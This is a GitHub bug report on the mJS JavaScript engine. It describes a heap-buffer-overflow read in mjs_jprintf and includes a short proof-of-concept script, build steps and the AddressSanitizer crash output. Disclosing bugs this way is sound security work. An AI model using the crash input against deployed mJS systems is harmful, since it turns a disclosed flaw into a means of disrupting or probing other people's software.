Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf #193

Open
hope-fly opened this issue Dec 31, 2021 · 0 comments
Open

Heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf #193

hope-fly opened this issue Dec 31, 2021 · 0 comments

Comments

@hope-fly
Copy link

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js

gc(JSON.stringify({
  translate: [
    Object.create
  ]
}))

Execution steps & Output
$ ./mjs/build/mjs poc.js
=================================================================
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00
READ of size 1 at 0x60b0000000ab thread T0
    #0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61
    #1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93
    #2 0x55ed153d5f78 in main src/mjs_main.c:51
    #3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449)

0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
    #0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf
Shadow bytes around the buggy address:
  0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00
  0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa
  0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant